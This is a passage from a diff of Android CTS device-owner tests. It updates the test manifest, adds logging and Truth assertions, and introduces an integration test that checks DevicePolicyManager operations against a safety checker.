+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application
-        android:testOnly="true"
-        android:usesCleartextTraffic="true">>
+    <application android:testOnly="true"
+         android:usesCleartextTraffic="true">&gt;
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.deviceowner.BasicAdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.deviceowner.BasicAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-            android:name="com.android.cts.deviceowner.CreateAndManageUserTest$TestProfileOwner"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.deviceowner.CreateAndManageUserTest$TestProfileOwner"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
-        <receiver
-                android:name="com.android.cts.deviceowner.CreateAndManageUserTest$SecondaryUserAdminReceiver"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name="com.android.cts.deviceowner.CreateAndManageUserTest$SecondaryUserAdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
+        <!--  TODO(b/176993670): remove if DpmWrapper goes away -->
+        <receiver android:name="com.android.bedstead.dpmwrapper.TestAppCallbacksReceiver"
+             android:exported="true">
+        </receiver>
+
         <service android:name="com.android.cts.deviceowner.CreateAndManageUserTest$PrimaryUserService"
-                 android:exported="true"
-                 android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
         </service>
 
-        <activity
-            android:name=".SetPolicyActivity"
-            android:launchMode="singleTop">
+        <activity android:name=".SetPolicyActivity"
+             android:launchMode="singleTop"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
@@ -85,19 +89,19 @@
         <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
 
         <service android:name="com.android.cts.deviceowner.NotificationListener"
-                 android:label="Notification Listener"
-                 android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+             android:label="Notification Listener"
+             android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.notification.NotificationListenerService" />
+                <action android:name="android.service.notification.NotificationListenerService"/>
             </intent-filter>
         </service>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.deviceowner"
-                     android:label="Device Owner CTS tests">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+         android:targetPackage="com.android.cts.deviceowner"
+         android:label="Device Owner CTS tests">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
index b82305a..b793408 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AdminActionBookkeepingTest.java
@@ -15,7 +15,6 @@
  */
 package com.android.cts.deviceowner;
 
-import android.app.ActivityManager;
 import android.app.PendingIntent;
 import android.content.ContentResolver;
 import android.os.Process;
@@ -108,15 +107,9 @@
      * Test: Requesting a bug report should update the corresponding timestamp.
      */
     public void testRequestBugreport() throws Exception {
-        ActivityManager activityManager = mContext.getSystemService(ActivityManager.class);
-
         // This test leaves a notification which will block future tests that request bug reports
         // to fix this - we dismiss the bug report before returning
-        CountDownLatch notificationDismissedLatch = null;
-        if (!activityManager.isLowRamDevice()) {
-            // On low ram devices we should reboot the phone after the test
-            notificationDismissedLatch = initTestRequestBugreport();
-        }
+        CountDownLatch notificationDismissedLatch = initTestRequestBugreport();
 
         Thread.sleep(1);
         final long previousTimestamp = mDevicePolicyManager.getLastBugReportRequestTime();
@@ -130,10 +123,7 @@
         assertTrue(newTimestamp >= timeBefore);
         assertTrue(newTimestamp <= timeAfter);
 
-        if (!activityManager.isLowRamDevice()) {
-            // On low ram devices we should reboot the phone after the test
-            cleanupTestRequestBugreport(notificationDismissedLatch);
-        }
+        cleanupTestRequestBugreport(notificationDismissedLatch);
     }
 
     private CountDownLatch initTestRequestBugreport() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
index 2424c46..c93fc4e 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/AffiliationTest.java
@@ -16,12 +16,15 @@
 
 package com.android.cts.deviceowner;
 
-import static junit.framework.Assert.assertEquals;
-import static junit.framework.Assert.fail;
+import static com.google.common.truth.Truth.assertWithMessage;
 
+import static org.junit.Assert.fail;
+
+import android.annotation.UserIdInt;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.Context;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -34,22 +37,29 @@
 import java.util.Set;
 
 @RunWith(AndroidJUnit4.class)
-public class AffiliationTest {
+public final class AffiliationTest {
+
+    private static final String TAG = AffiliationTest.class.getSimpleName();
 
     private DevicePolicyManager mDevicePolicyManager;
     private ComponentName mAdminComponent;
 
+
+    private @UserIdInt int mUserId;
+
     @Before
     public void setUp() {
         Context context = InstrumentationRegistry.getContext();
-        mDevicePolicyManager = (DevicePolicyManager)
-                context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+        mUserId = context.getUserId();
+        mDevicePolicyManager = context.getSystemService(DevicePolicyManager.class);
         mAdminComponent = BasicAdminReceiver.getComponentName(context);
+        Log.d(TAG, "setUp(): userId=" + mUserId + ", admin=" + mAdminComponent);
     }
 
     @Test
-    public void testSetAffiliationId_null() {
+    public void testSetAffiliationId_null() throws Exception {
         try {
+            Log.d(TAG, "setAffiliationIds(null)");
             mDevicePolicyManager.setAffiliationIds(mAdminComponent, null);
             fail("Should throw IllegalArgumentException");
         } catch (IllegalArgumentException ex) {
@@ -58,8 +68,9 @@
     }
 
     @Test
-    public void testSetAffiliationId_containsEmptyString() {
+    public void testSetAffiliationId_containsEmptyString() throws Exception {
         try {
+            Log.d(TAG, "setAffiliationIds(empty)");
             mDevicePolicyManager.setAffiliationIds(mAdminComponent, Collections.singleton(null));
             fail("Should throw IllegalArgumentException");
         } catch (IllegalArgumentException ex) {
@@ -68,17 +79,26 @@
     }
 
     @Test
-    public void testSetAffiliationId1() {
+    public void testSetAffiliationId1() throws Exception {
         setAffiliationIds(Collections.singleton("id.number.1"));
     }
 
     @Test
-    public void testSetAffiliationId2() {
+    public void testSetAffiliationId2() throws Exception {
         setAffiliationIds(Collections.singleton("id.number.2"));
     }
 
-    private void setAffiliationIds(Set<String> ids) {
-        mDevicePolicyManager.setAffiliationIds(mAdminComponent, ids);
-        assertEquals(ids, mDevicePolicyManager.getAffiliationIds(mAdminComponent));
+    private void setAffiliationIds(Set<String> ids) throws Exception {
+        try {
+            Log.d(TAG, "setAffiliationIds(" + ids + ") on user " + mUserId);
+            mDevicePolicyManager.setAffiliationIds(mAdminComponent, ids);
+            Set<String> setIds = mDevicePolicyManager.getAffiliationIds(mAdminComponent);
+            Log.d(TAG, "getAffiliationIds(): " + setIds);
+            assertWithMessage("affiliationIds on user %s", mUserId).that(setIds)
+                    .containsExactlyElementsIn(ids);
+        } catch (Exception e) {
+            Log.e(TAG, "Failed to set affiliation ids (" + ids + ")", e);
+            throw e;
+        }
     }
 }
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
index 2f48dce..91e7459 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BaseDeviceOwnerTest.java
@@ -15,15 +15,21 @@
  */
 package com.android.cts.deviceowner;
 
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.annotation.UserIdInt;
 import android.app.Instrumentation;
 import android.app.admin.DevicePolicyManager;
 import android.content.ComponentName;
 import android.content.pm.PackageManager;
+import android.os.UserHandle;
 import android.support.test.uiautomator.UiDevice;
 import android.test.AndroidTestCase;
 
 import androidx.test.InstrumentationRegistry;
 
+import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+
 /**
  * Base class for device-owner based tests.
  *
@@ -38,6 +44,9 @@
     protected Instrumentation mInstrumentation;
     protected UiDevice mDevice;
     protected boolean mHasSecureLockScreen;
+    protected boolean mHasTelephonyFeature;
+    /** User running the test (obtained from {@code mContext}). */
+    protected @UserIdInt int mUserId;
 
     @Override
     protected void setUp() throws Exception {
@@ -45,17 +54,30 @@
 
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mDevice = UiDevice.getInstance(mInstrumentation);
-        mDevicePolicyManager = mContext.getSystemService(DevicePolicyManager.class);
+        mDevicePolicyManager = TestAppSystemServiceFactory.getDevicePolicyManager(mContext,
+                BasicAdminReceiver.class);
         mHasSecureLockScreen = mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_SECURE_LOCK_SCREEN);
+        mHasTelephonyFeature = mContext.getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_TELEPHONY);
+        mUserId = mContext.getUserId();
+
         assertDeviceOwner();
     }
 
     private void assertDeviceOwner() {
-        assertNotNull(mDevicePolicyManager);
-        assertTrue(mDevicePolicyManager.isAdminActive(getWho()));
-        assertTrue(mDevicePolicyManager.isDeviceOwnerApp(mContext.getPackageName()));
-        assertFalse(mDevicePolicyManager.isManagedProfile(getWho()));
+        int myUserId = UserHandle.myUserId();
+        assertWithMessage("DPM for user %s", myUserId).that(mDevicePolicyManager).isNotNull();
+
+        ComponentName admin = getWho();
+        assertWithMessage("Component %s is admin for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isAdminActive(admin)).isTrue();
+
+        String pkgName = mContext.getPackageName();
+        assertWithMessage("Component %s is device owner for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isDeviceOwnerApp(pkgName)).isTrue();
+        assertWithMessage("Component %s is profile owner for user %s", admin, myUserId)
+                .that(mDevicePolicyManager.isManagedProfile(admin)).isFalse();
     }
 
     protected ComponentName getWho() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
index 37b3ed7..a83366a 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/BasicAdminReceiver.java
@@ -20,10 +20,16 @@
 import android.content.Context;
 import android.content.Intent;
 import android.os.UserHandle;
+import android.util.Log;
+
 import androidx.localbroadcastmanager.content.LocalBroadcastManager;
 
+import com.android.bedstead.dpmwrapper.DeviceOwnerHelper;
+
 public class BasicAdminReceiver extends DeviceAdminReceiver {
 
+    private static final String TAG = BasicAdminReceiver.class.getSimpleName();
+
     final static String ACTION_USER_ADDED = "com.android.cts.deviceowner.action.USER_ADDED";
     final static String ACTION_USER_REMOVED = "com.android.cts.deviceowner.action.USER_REMOVED";
     final static String ACTION_USER_STARTED = "com.android.cts.deviceowner.action.USER_STARTED";
@@ -40,6 +46,16 @@
     }
 
     @Override
+    public void onReceive(Context context, Intent intent) {
+        String action = intent.getAction();
+        Log.d(TAG, "onReceive(userId=" + context.getUserId() + "): " + action);
+
+        if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
+
+        super.onReceive(context, intent);
+    }
+
+    @Override
     public void onUserAdded(Context context, Intent intent, UserHandle userHandle) {
         super.onUserAdded(context, intent, userHandle);
         sendUserBroadcast(context, ACTION_USER_ADDED, userHandle);
@@ -72,15 +88,16 @@
     @Override
     public void onNetworkLogsAvailable(Context context, Intent intent, long batchToken,
             int networkLogsCount) {
+        Log.d(TAG, "onNetworkLogsAvailable(): token=" + batchToken + ", count=" + networkLogsCount);
         super.onNetworkLogsAvailable(context, intent, batchToken, networkLogsCount);
         // send the broadcast, the rest of the test happens in NetworkLoggingTest
         Intent batchIntent = new Intent(ACTION_NETWORK_LOGS_AVAILABLE);
         batchIntent.putExtra(EXTRA_NETWORK_LOGS_BATCH_TOKEN, batchToken);
-        LocalBroadcastManager.getInstance(context).sendBroadcast(batchIntent);
+
+        DeviceOwnerHelper.sendBroadcastToTestCaseReceiver(context, batchIntent);
     }
 
-    private void sendUserBroadcast(Context context, String action,
-            UserHandle userHandle) {
+    private void sendUserBroadcast(Context context, String action, UserHandle userHandle) {
         Intent intent = new Intent(action);
         intent.putExtra(EXTRA_USER_HANDLE, userHandle);
         LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
index 22401b3..ee94320 100644
--- a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DeviceOwnerProvisioningTest.java
@@ -18,6 +18,9 @@
 import static android.app.admin.DevicePolicyManager.ACTION_PROVISION_MANAGED_DEVICE;
 import static android.app.admin.DevicePolicyManager.EXTRA_PROVISIONING_LEAVE_ALL_SYSTEM_APPS_ENABLED;
 import static android.content.pm.PackageManager.MATCH_SYSTEM_ONLY;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
 import static java.util.stream.Collectors.toList;
 
 import android.app.admin.DevicePolicyManager;
@@ -27,24 +30,24 @@
 import android.util.Log;
 
 import com.android.compatibility.common.util.devicepolicy.provisioning.SilentProvisioningTestManager;
+
 import java.util.ArrayList;
 import java.util.List;
 
-
 public class DeviceOwnerProvisioningTest extends BaseDeviceOwnerTest {
     private static final String TAG = "DeviceOwnerProvisioningTest";
 
     private List<String> mEnabledAppsBeforeTest;
     private PackageManager mPackageManager;
-    private DevicePolicyManager mDpm;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
 
-        mPackageManager = getContext().getPackageManager();
-        mDpm = getContext().getSystemService(DevicePolicyManager.class);
+        mPackageManager = mContext.getPackageManager();
         mEnabledAppsBeforeTest = getSystemPackageNameList();
+
+        Log.d(TAG, "EnabledAppsBeforeTest: " + mEnabledAppsBeforeTest);
     }
 
     @Override
@@ -75,8 +78,8 @@
         disabledApps.removeAll(currentEnabledApps);
 
         for (String disabledSystemApp : disabledApps) {
-            Log.i(TAG, "enable app : " + disabledSystemApp);
-            mDevicePolicyManager.enableSystemApp(BasicAdminReceiver.getComponentName(getContext()),
+            Log.i(TAG, "enabling app " + disabledSystemApp);
+            mDevicePolicyManager.enableSystemApp(BasicAdminReceiver.getComponentName(mContext),
                     disabledSystemApp);
         }
     }
@@ -84,17 +87,22 @@
     private Intent getBaseProvisioningIntent() {
         return new Intent(ACTION_PROVISION_MANAGED_DEVICE)
                 .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
-                        BasicAdminReceiver.getComponentName(getContext()))
+                        BasicAdminReceiver.getComponentName(mContext))
                 .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION, true);
     }
 
     private void deviceOwnerProvision(Intent intent) throws Exception {
         SilentProvisioningTestManager provisioningManager =
-                new SilentProvisioningTestManager(getContext());
-        assertTrue(provisioningManager.startProvisioningAndWait(intent));
-        Log.i(TAG, "device owner provisioning successful");
-        assertTrue(mDpm.isDeviceOwnerApp(getContext().getPackageName()));
-        Log.i(TAG, "device owner app: " + getContext().getPackageName());
+                new SilentProvisioningTestManager(mContext);
+        assertWithMessage("provisinioning with intent %s on user %s started", intent, mUserId)
+                .that(provisioningManager.startProvisioningAndWait(intent)).isTrue();
+        Log.i(TAG, "device owner provisioning successful for user " + mUserId);
+        String pkg = mContext.getPackageName();
+        assertWithMessage("%s is deviceOwner", pkg).that(mDevicePolicyManager.isDeviceOwnerApp(pkg))
+                .isTrue();
+        Log.i(TAG, "device owner app: " + pkg);
+        assertWithMessage("Admin should be able to grant sensors permissions by default").that(
+                mDevicePolicyManager.canAdminGrantSensorsPermissions()).isTrue();
     }
 
     private List<String> getPackageNameList() {
diff --git a/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
new file mode 100644
index 0000000..86ccea4
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/DeviceOwner/src/com/android/cts/deviceowner/DevicePolicySafetyCheckerIntegrationTest.java
@@ -0,0 +1,245 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.deviceowner;
+
+import static android.app.admin.DevicePolicyManager.OPERATION_CREATE_AND_MANAGE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REBOOT;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REQUEST_BUGREPORT;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_HIDDEN;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_APPLICATION_RESTRICTIONS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_CAMERA_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_GLOBAL_PRIVATE_DNS;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEEP_UNINSTALLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_KEYGUARD_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_FEATURES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOCK_TASK_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_LOGOUT_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_OVERRIDE_APNS_ENABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PACKAGES_SUSPENDED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_STATUS_BAR_DISABLED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_SETTING;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_SYSTEM_UPDATE_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_TRUST_AGENT_CONFIGURATION;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES;
+import static android.app.admin.DevicePolicyManager.OPERATION_START_USER_IN_BACKGROUND;
+import static android.app.admin.DevicePolicyManager.OPERATION_STOP_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_SWITCH_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_UNINSTALL_CA_CERT;
+import static android.app.admin.DevicePolicyManager.OPERATION_WIPE_DATA;
+
+import android.app.admin.DevicePolicyManager;
+import android.app.admin.FactoryResetProtectionPolicy;
+import android.content.ComponentName;
+import android.os.Bundle;
+import android.os.UserHandle;
+
+import com.android.cts.devicepolicy.DevicePolicySafetyCheckerIntegrationTester;
+import com.android.internal.util.ArrayUtils;
+
+import java.util.Arrays;
+import java.util.List;
+
+// TODO(b/174859111): move to automotive-only section
+/**
+ * Tests that DPM calls fail when determined by the
+ * {@link android.app.admin.DevicePolicySafetyChecker}.
+ */
+public final class DevicePolicySafetyCheckerIntegrationTest extends BaseDeviceOwnerTest {
+    private static final int NO_FLAGS = 0;
+    private static final UserHandle USER_HANDLE = UserHandle.of(42);
+    public static final String TEST_PACKAGE = BasicAdminReceiver.class.getPackage().getName();
+    public static final ComponentName TEST_COMPONENT = new ComponentName(
+            TEST_PACKAGE, BasicAdminReceiver.class.getName());
+    public static final List<String> TEST_ACCOUNTS = Arrays.asList("Account 1");
+    public static final List<String> TEST_PACKAGES = Arrays.asList(TEST_PACKAGE);
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n"
+            + "MIICVzCCAgGgAwIBAgIJAMvnLHnnfO/IMA0GCSqGSIb3DQEBBQUAMIGGMQswCQYD\n"
+            + "VQQGEwJJTjELMAkGA1UECAwCQVAxDDAKBgNVBAcMA0hZRDEVMBMGA1UECgwMSU1G\n"
+            + "TCBQVlQgTFREMRAwDgYDVQQLDAdJTUZMIE9VMRIwEAYDVQQDDAlJTUZMLklORk8x\n"
+            + "HzAdBgkqhkiG9w0BCQEWEHJhbWVzaEBpbWZsLmluZm8wHhcNMTMwODI4MDk0NDA5\n"
+            + "WhcNMjMwODI2MDk0NDA5WjCBhjELMAkGA1UEBhMCSU4xCzAJBgNVBAgMAkFQMQww\n"
+            + "CgYDVQQHDANIWUQxFTATBgNVBAoMDElNRkwgUFZUIExURDEQMA4GA1UECwwHSU1G\n"
+            + "TCBPVTESMBAGA1UEAwwJSU1GTC5JTkZPMR8wHQYJKoZIhvcNAQkBFhByYW1lc2hA\n"
+            + "aW1mbC5pbmZvMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJ738cbTQlNIO7O6nV/f\n"
+            + "DJTMvWbPkyHYX8CQ7yXiAzEiZ5bzKJjDJmpRAkUrVinljKns2l6C4++l/5A7pFOO\n"
+            + "33kCAwEAAaNQME4wHQYDVR0OBBYEFOdbZP7LaMbgeZYPuds2CeSonmYxMB8GA1Ud\n"
+            + "IwQYMBaAFOdbZP7LaMbgeZYPuds2CeSonmYxMAwGA1UdEwQFMAMBAf8wDQYJKoZI\n"
+            + "hvcNAQEFBQADQQBdrk6J9koyylMtl/zRfiMAc2zgeC825fgP6421NTxs1rjLs1HG\n"
+            + "VcUyQ1/e7WQgOaBHi9TefUJi+4PSVSluOXon\n"
+            + "-----END CERTIFICATE-----";
+    private final DevicePolicySafetyCheckerIntegrationTester mTester =
+            new DevicePolicySafetyCheckerIntegrationTester() {
+
+        @Override
+        protected int[] getSafetyAwareOperations() {
+            int[] operations = new int [] {
+                    OPERATION_CREATE_AND_MANAGE_USER,
+                    // TODO(b/175245108) Add test for this operation; testing
+                    // dpm.installSystemUpdate will require upload a test system update file.
+                    // OPERATION_INSTALL_SYSTEM_UPDATE,
+                    OPERATION_REBOOT,
+                    OPERATION_REMOVE_USER,
+                    OPERATION_REQUEST_BUGREPORT,
+                    OPERATION_SET_APPLICATION_HIDDEN,
+                    OPERATION_SET_APPLICATION_RESTRICTIONS,
+                    OPERATION_SET_CAMERA_DISABLED,
+                    OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY,
+                    OPERATION_SET_GLOBAL_PRIVATE_DNS,
+                    OPERATION_SET_KEEP_UNINSTALLED_PACKAGES,
+                    OPERATION_SET_KEYGUARD_DISABLED,
+                    OPERATION_SET_LOCK_TASK_FEATURES,
+                    OPERATION_SET_LOCK_TASK_PACKAGES,
+                    OPERATION_SET_LOGOUT_ENABLED,
+                    OPERATION_SET_PACKAGES_SUSPENDED,
+                    OPERATION_SET_STATUS_BAR_DISABLED,
+                    OPERATION_SET_SYSTEM_SETTING,
+                    OPERATION_SET_SYSTEM_UPDATE_POLICY,
+                    OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES,
+                    OPERATION_START_USER_IN_BACKGROUND,
+                    OPERATION_STOP_USER,
+                    OPERATION_SWITCH_USER,
+                    OPERATION_UNINSTALL_CA_CERT,
+                    OPERATION_WIPE_DATA
+            };
+
+            if (mHasTelephonyFeature) {
+                operations = ArrayUtils.appendInt(operations, OPERATION_SET_OVERRIDE_APNS_ENABLED);
+            }
+            if (mHasSecureLockScreen) {
+                operations = ArrayUtils.appendInt(operations,
+                        OPERATION_SET_TRUST_AGENT_CONFIGURATION);
+            }
+
+            return operations;
+        }
+
+        @Override
+        protected int[] getOverloadedSafetyAwareOperations() {
+            return new int [] {
+                OPERATION_WIPE_DATA
+            };
+        }
+
+        @Override
+        protected void runOperation(DevicePolicyManager dpm, ComponentName admin, int operation,
+                boolean overloaded) {
+            switch (operation) {
+                case OPERATION_CREATE_AND_MANAGE_USER:
+                    dpm.createAndManageUser(admin, /* name= */ null, admin, /* adminExtras= */ null,
+                            NO_FLAGS);
+                    break;
+                case OPERATION_REBOOT:
+                    dpm.reboot(admin);
+                    break;
+                case OPERATION_REMOVE_USER:
+                    dpm.removeUser(admin, USER_HANDLE);
+                    break;
+                case OPERATION_REQUEST_BUGREPORT:
+                    dpm.requestBugreport(admin);
+                    break;
+                case OPERATION_SET_APPLICATION_HIDDEN:
+                    dpm.setApplicationHidden(admin, TEST_PACKAGE, /* hidden= */true);
+                    break;
+                case OPERATION_SET_APPLICATION_RESTRICTIONS:
+                    dpm.setApplicationRestrictions(admin, TEST_PACKAGE, new Bundle());
+                    break;
+                case OPERATION_SET_CAMERA_DISABLED:
+                    dpm.setCameraDisabled(admin, /* disabled= */ true);
+                    break;
+                case OPERATION_SET_FACTORY_RESET_PROTECTION_POLICY:
+                    dpm.setFactoryResetProtectionPolicy(admin,
+                            new FactoryResetProtectionPolicy.Builder()
+                                    .setFactoryResetProtectionAccounts(TEST_ACCOUNTS)
+                                    .setFactoryResetProtectionEnabled(false)
+                                    .build());
+                    break;
+                case OPERATION_SET_GLOBAL_PRIVATE_DNS:
+                    dpm.setGlobalPrivateDnsModeOpportunistic(admin);
+                    break;
+                case OPERATION_SET_KEEP_UNINSTALLED_PACKAGES:
+                    dpm.setKeepUninstalledPackages(admin, TEST_PACKAGES);
+                    break;
+                case OPERATION_SET_KEYGUARD_DISABLED:
+                    dpm.setKeyguardDisabled(admin, true);
+                    break;
+                case OPERATION_SET_LOCK_TASK_FEATURES:
+                    dpm.setLockTaskFeatures(admin, NO_FLAGS);
+                    break;
+                case OPERATION_SET_LOCK_TASK_PACKAGES:
+                    dpm.setLockTaskPackages(admin, new String[] { TEST_PACKAGE });
+                    break;
+                case OPERATION_SET_LOGOUT_ENABLED:
+                    dpm.setLogoutEnabled(admin, /* enabled */ true);
+                    break;
+                case OPERATION_SET_OVERRIDE_APNS_ENABLED:
+                    dpm.setOverrideApnsEnabled(admin, /* enabled */ true);
+                    break;
+                case OPERATION_SET_PACKAGES_SUSPENDED:
+                    dpm.setPackagesSuspended(admin,  new String[] { TEST_PACKAGE },
+                            /* suspend= */ true);
+                    break;
+                case OPERATION_SET_STATUS_BAR_DISABLED:
+                    dpm.setStatusBarDisabled(admin, true);
+                    break;
+                case OPERATION_SET_SYSTEM_SETTING:
+                    dpm.setSystemSetting(admin, "TestSetting", "0");
+                    break;
+                case OPERATION_SET_SYSTEM_UPDATE_POLICY:
+                    dpm.setSystemUpdatePolicy(admin, null);
+                    break;
+                case OPERATION_SET_TRUST_AGENT_CONFIGURATION:
+                    dpm.setTrustAgentConfiguration(admin, TEST_COMPONENT,
+                            /* configuration= */ null);
+                    break;
+                case OPERATION_SET_USER_CONTROL_DISABLED_PACKAGES:
+                    dpm.setUserControlDisabledPackages(admin, TEST_PACKAGES);
+                    break;
+                case OPERATION_START_USER_IN_BACKGROUND:
+                    dpm.startUserInBackground(admin, USER_HANDLE);
+                    break;
